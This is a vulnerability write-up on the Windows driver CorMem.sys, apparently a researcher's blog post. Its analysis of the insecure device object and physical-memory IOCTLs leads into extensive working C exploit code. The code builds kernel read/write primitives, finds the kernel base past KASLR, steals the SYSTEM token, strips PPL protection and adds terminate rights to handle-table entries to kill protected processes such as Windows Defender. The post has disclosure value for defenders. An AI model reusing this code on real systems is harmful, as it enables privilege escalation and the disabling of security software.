VDBlocklist

Overview

In this post I’m going over my analysis of the Sapera Memory Manager driver “CorMem.sys” from Teledyne Digital Imaging, which exposes physical memory read/write functionality to usermode through IOCTLs that are controllable from an unprivileged context. This allows an unprivileged user to elevate to SYSTEM, or to strip PPL protection from a process and terminate it (also mapping unsigned drivers and much more). Additionally, the driver does load and is abusable on Windows 11 with HVCI and the MS vulnerable driver blocklist enabled.

POC can be found here: https://github.com/t0asts/cormemterminator

IOCs

SHA-256 40c855d20d497823716a08a443dc85846233226985ee653770bc3b245cf2ed0f

Analysis

The primary flaw allowing for unprivileged abuse of the driver, is the insecure device object creation. The device is created with no explicit security descriptor (DACL) and the DeviceCharacteristics parameter set to NULL rather than something like FILE_DEVICE_SECURE_OPEN.

Without a restrictive DACL, the device inherits a default security descriptor that grants GENERIC_READ | GENERIC_WRITE to all authenticated users (including our unprivileged one). Also, without FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics, the I/O manager only enforces the device’s security descriptor on opens to the device object itself, opens to all other paths of the device namespace (\\.\CORMEM\foobar) bypass the check entirely. Combined with the default DACL, any unprivileged user can open a handle and issue IOCTLs.

DeviceCreation

The first target IOCTL is 0x22200c (IOCTL_MAP), which calls a handler function that accepts a user supplied physical address and length. These values are then passed to the actual map function.

MapHandler

The map function opens \Device\PhysicalMemory via ZwOpenSection with SECTION_ALL_ACCESS (0xF001F), calls ObReferenceObjectByHandle on the section, maps the requested physical range into the calling process via ZwMapViewOfSection and returns the mapped virtual address to us in usermode. It should be noted there is NO validation of the requested physical address or length, any physical address range can be mapped.

MapFunction1
MapFunction2
MapFunction3

The second target IOCTL is 0x222010 (IOCTL_UNMAP), which as the name implies, allows us to unmap a previously mapped physical memory region. The unmap function accepts a virtual address and calls ZwUnmapViewOfSection, unmapping the provided region.

UnmapFunction

The third target IOCTL is 0x22201C (IOCTL_V2P), which accepts a kernel virtual address (KVA) from usermode and calls MmGetPhysicalAddress against it, returning the physical address. Once again, it should be noted there is NO validation that the address belongs to the calling process.

VirtToPhysFunction

Between these three IOCTLs we have enough to weaponize it.

Exploit

The POC allows an unprivileged user to terminate protected processes, or elevate to SYSTEM, but how?

First we need to setup some helper functions to simplify the process of translating virtual addresses to physical, and reading & writing physical memory.

static BOOL KRead(ULONGLONG kva, void* buf, DWORD size)
{
	ULONGLONG physAddr = VirtToPhys(kva);

	if (!physAddr)
		return FALSE;

	ULONGLONG pageOffset = physAddr & 0xFFF;
	ULONGLONG pageBase = physAddr - pageOffset;
	ULONGLONG mapSize = (pageOffset + size + 0xFFF) & ~0xFFFULL;

	PVOID mapped = MapPhys(pageBase, mapSize);

	if (!mapped)
		return FALSE;

	memcpy(buf, (BYTE*)mapped + pageOffset, size);
	UnmapPhys(mapped);

	return TRUE;
}
static BOOL KWrite(ULONGLONG kva, void* buf, DWORD size)
{
	ULONGLONG physAddr = VirtToPhys(kva);

	if (!physAddr)
		return FALSE;

	ULONGLONG pageOffset = physAddr & 0xFFF;
	ULONGLONG pageBase = physAddr - pageOffset;
	ULONGLONG mapSize = (pageOffset + size + 0xFFF) & ~0xFFFULL;

	PVOID mapped = MapPhys(pageBase, mapSize);

	if (!mapped)
		return FALSE;

	memcpy((BYTE*)mapped + pageOffset, buf, size);
	UnmapPhys(mapped);

	return TRUE;
}

Next, the base address for ntoskrnl.exe must be discovered, since it is randomized by KASLR on boot. This can be done on Windows 10 to pre-24H2 Windows 11 using NtQuerySystemInformation and the SystemModuleInformation (11) flag, which returns ntoskrnl.exe as the first module.

For Windows 11 versions post-24H2, this won’t work. Instead we can scan the entire kernel image region in 2 MB steps, starting from 0xFFFFF80000000000, and ending at 0xFFFFF80800000000. Each address is tested with VirtToPhys, where unmapped pages return 0, and the mapped pages we do find can be read with KRead. Each mapped page we can successfully read is checked for a valid PE header with the following markers to identify ntoskrnl.exe:

  • MZ “magic” signature (0x5A4D)
  • Valid PE signature (0x00004550)
  • PE32+ optional header (0x20B)
  • Native subsystem (IMAGE_SUBSYSTEM_NATIVE == 1)
  • Large image size (> 0x500000)
static ULONGLONG GetNtoskrnlBaseQSI()
{
	auto NtQSI = (fnNtQSI)GetProcAddress(GetModuleHandleA("ntdll"), "NtQuerySystemInformation");

	ULONG length = 0;

	NtQSI(SystemModuleInformation, NULL, 0, &length);

	if (!length)
		return 0;

	auto* modules = (MODULE_LIST*)malloc(length);

	if (!modules)
		return 0;

	if (NtQSI(SystemModuleInformation, modules, length, &length)) {
		free(modules);
		return 0;
	}

	ULONGLONG base = (ULONGLONG)modules->Modules[0].ImageBase;

	free(modules);

	return base;
}
static ULONGLONG GetNtoskrnlBaseVAScan()
{
	const ULONGLONG VA_START = 0xFFFFF80000000000ULL;
	const ULONGLONG VA_END = 0xFFFFF80800000000ULL;
	const ULONGLONG STEP = 0x200000;

	for (ULONGLONG va = VA_START; va < VA_END; va += STEP) {
		if (!VirtToPhys(va))
			continue;

		USHORT magic = 0;

		if (!KRead(va, &magic, 2) || magic != 0x5A4D)
			continue;

		BYTE hdr[0x200] = {};

		if (!KRead(va, hdr, sizeof(hdr)))
			continue;

		LONG peOffset = *(LONG*)(hdr + 0x3C);

		if (peOffset < 0 || peOffset + 0x78 >(LONG)sizeof(hdr))
			continue;

		if (*(DWORD*)(hdr + peOffset) != 0x00004550)
			continue;

		BYTE* optHdr = hdr + peOffset + 24;

		if (*(USHORT*)optHdr != 0x20B)
			continue;

		DWORD sizeOfImage = *(DWORD*)(optHdr + 56);
		USHORT subsystem = *(USHORT*)(optHdr + 68);

		if (subsystem == 1 && sizeOfImage > 0x500000)
			return va;
	}

	return 0;
}

With the base address for ntoskrnl.exe found, we need to locate the System EPROCESS address so we can use it as an entry point into the kernel’s process list. We can walk this process list through the ActiveProcessLinks field, which is a doubly-linked list chaining the EPROCESS structures for processes together, which will allow us to strip protections from target processes, or steal the token from a process.

To find our entry point, PsInitialSystemProcess can be used, which provides a global pointer that references the EPROCESS of the System process, and is exported. We can resolve PsInitialSystemProcess by loading a local copy of ntoskrnl.exe via LoadLibraryEx, calling GetProcAddress to find the export offset, and add it to our kernel base address.

static ULONGLONG FindKernelExport(ULONGLONG kernelBase, const char* name)
{
	HMODULE local = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);

	if (!local)
		return 0;

	auto localAddr = (ULONGLONG)GetProcAddress(local, name);

	ULONGLONG offset = localAddr ? localAddr - (ULONGLONG)local : 0;

	FreeLibrary(local);

	return offset ? kernelBase + offset : 0;
}
static ULONGLONG GetSystemEprocess()
{
	ULONGLONG kernelBase = GetNtoskrnlBase();

	if (!kernelBase)
		return 0;

	ULONGLONG pPsInitial = FindKernelExport(kernelBase, "PsInitialSystemProcess");

	if (!pPsInitial)
		return 0;

	ULONGLONG eprocess = KReadPtr(pPsInitial);

	if (!eprocess || (DWORD)KReadPtr(eprocess + g_off.Pid) != 4)
		return 0;

	return eprocess;
}

Now that we can find the EPROCESS structure for any target process by PID, we can find the structure for our process, and manipulate the token. To elevate our unprivileged user, we can read the Token field from the System EPROCESS and overwrite our current process’s Token field with the System token value. We can now enable SeDebugPrivilege via AdjustTokenPrivileges with no issues now, and spawn our new cmd.exe process as SYSTEM (if using elevate option).

static ULONGLONG FindEprocess(ULONGLONG systemEproc, DWORD targetPid)
{
	ULONGLONG current = systemEproc;

	for (int iter = 0; iter < 4096; iter++) {
		if ((DWORD)KReadPtr(current + g_off.Pid) == targetPid)
			return current;

		ULONGLONG flink = KReadPtr(current + g_off.Links);
		ULONGLONG next = flink - g_off.Links;

		if (!flink || next == systemEproc)
			break;

		current = next;
	}

	return 0;
}
static BOOL StealSystemToken(ULONGLONG systemEproc)
{
	ULONGLONG myEproc = FindEprocess(systemEproc, GetCurrentProcessId());

	if (!myEproc)
		return FALSE;

	ULONGLONG systemToken = KReadPtr(systemEproc + g_off.Token);

	if (!KWrite(myEproc + g_off.Token, &systemToken, 8))
		return FALSE;

	EnableDebugPriv();

	return TRUE;
}
static BOOL EnableDebugPriv()
{
	HANDLE token;

	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
		return FALSE;

	LUID luid;

	LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid);

	TOKEN_PRIVILEGES privs = {};

	privs.PrivilegeCount = 1;
	privs.Privileges[0].Luid = luid;
	privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	BOOL ok = AdjustTokenPrivileges(token, FALSE, &privs, sizeof(privs), NULL, NULL);

	ok = ok && GetLastError() == ERROR_SUCCESS;

	CloseHandle(token);

	return ok;
}
static int CmdElevate(ULONGLONG systemEproc)
{
	if (!StealSystemToken(systemEproc))
		return 1;

	STARTUPINFOA si = { sizeof(si) };
	PROCESS_INFORMATION pi = {};

	if (CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
		printf("SYSTEM cmd.exe PID %lu\n", pi.dwProcessId);

		CloseHandle(pi.hProcess);
		CloseHandle(pi.hThread);
	}
	else {
		printf("CreateProcess failed: %lu\n", GetLastError());
	}

	return 0;
}

To terminate processes, we can use the elevation logic from above to swap our process token, but protected (PPL/PP) processes will require additional effort to terminate. Since this driver does not expose an IOCTL that allows control over ZwTerminateProcess we will have to strip the protections off the target process before we can touch it. We can do this by finding our target’s EPROCESS, and zeroing the fields SignatureLevel, SectionSignatureLevel, and Protection. We are now privileged enough to open a handle to our now unprotected target process with OpenProcess, but in the case of Windows Defender’s MsMpEng.exe process (and others), the WdFilter.sys filter driver strips PROCESS_TERMINATE from our access mask (GrantedAccess) on handle creation through ObRegisterCallbacks, which is used to intercept calls to ObpCreateHandle. To circumvent this, we can open a handle with PROCESS_QUERY_LIMITED_INFORMATION, which is allowed, and manually adjust the access rights. By locating our process’s _HANDLE_TABLE via EPROCESS+ObjectTable, walking the handle table structure to find the handle entry for our created PROCESS_QUERY_LIMITED_INFORMATION handle, and OR in the PROCESS_TERMINATE access rights to our access mask. We can now successfully terminate the process with TerminateProcess.

static int CmdKill(ULONGLONG systemEproc, DWORD targetPid)
{
	if (!StealSystemToken(systemEproc))
		return 1;

	ULONGLONG myEproc = FindEprocess(systemEproc, GetCurrentProcessId());
	ULONGLONG tgtEproc = FindEprocess(systemEproc, targetPid);

	if (!tgtEproc) {
		printf("Target EPROCESS not found\n");
		return 1;
	}

	char imageName[16] = {};

	KRead(tgtEproc + g_off.Name, imageName, 15);

	KWriteByte(tgtEproc + g_off.SigLevel, 0);
	KWriteByte(tgtEproc + g_off.SecSigLevel, 0);
	KWriteByte(tgtEproc + g_off.Protection, 0);

	HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, targetPid);

	if (!hProcess) {
		printf("OpenProcess failed: %lu\n", GetLastError());
		return 1;
	}

	if (!GrantHandleAccess(myEproc, hProcess, PROCESS_TERMINATE)) {
		CloseHandle(hProcess);
		return 1;
	}

	if (!TerminateProcess(hProcess, 1)) {
		printf("TerminateProcess failed: %lu\n", GetLastError());
		CloseHandle(hProcess);
		return 1;
	}

	CloseHandle(hProcess);
	printf("Process %lu (%s) terminated\n", targetPid, imageName);
	return 0;
}
static ULONGLONG LookupHandleEntry(ULONGLONG eprocess, HANDLE handle)
{
	ULONGLONG objTable = KReadPtr(eprocess + g_off.ObjTable);

	if (!objTable)
		return 0;

	ULONGLONG tableCode = KReadPtr(objTable + 0x08);
	ULONG level = (ULONG)(tableCode & 3);
	ULONGLONG tableBase = tableCode & ~7ULL;
	ULONG index = ((ULONG)(ULONG_PTR)handle) >> 2;

	if (level == 0)
		return tableBase + (ULONGLONG)index * 16;

	if (level == 1) {
		ULONG pageIndex = index / ENTRIES_PER_PAGE;
		ULONG entryIndex = index % ENTRIES_PER_PAGE;
		ULONGLONG subTable = KReadPtr(tableBase + (ULONGLONG)pageIndex * 8);

		return subTable ? subTable + (ULONGLONG)entryIndex * 16 : 0;
	}

	if (level == 2) {
		ULONG topIndex = index / (ENTRIES_PER_PAGE * ENTRIES_PER_PAGE);
		ULONG midIndex = (index / ENTRIES_PER_PAGE) % ENTRIES_PER_PAGE;
		ULONG entryIndex = index % ENTRIES_PER_PAGE;

		ULONGLONG midTable = KReadPtr(tableBase + (ULONGLONG)topIndex * 8);

		if (!midTable)
			return 0;

		ULONGLONG subTable = KReadPtr(midTable + (ULONGLONG)midIndex * 8);

		return subTable ? subTable + (ULONGLONG)entryIndex * 16 : 0;
	}

	return 0;
}
static BOOL GrantHandleAccess(ULONGLONG eprocess, HANDLE handle, DWORD rights)
{
	ULONGLONG entry = LookupHandleEntry(eprocess, handle);

	if (!entry)
		return FALSE;

	DWORD accessBits = 0;

	KRead(entry + 8, &accessBits, 4);

	accessBits |= rights;

	KWrite(entry + 8, &accessBits, 4);

	return TRUE;
}

Acknowledgment

Feedback and corrections are welcome.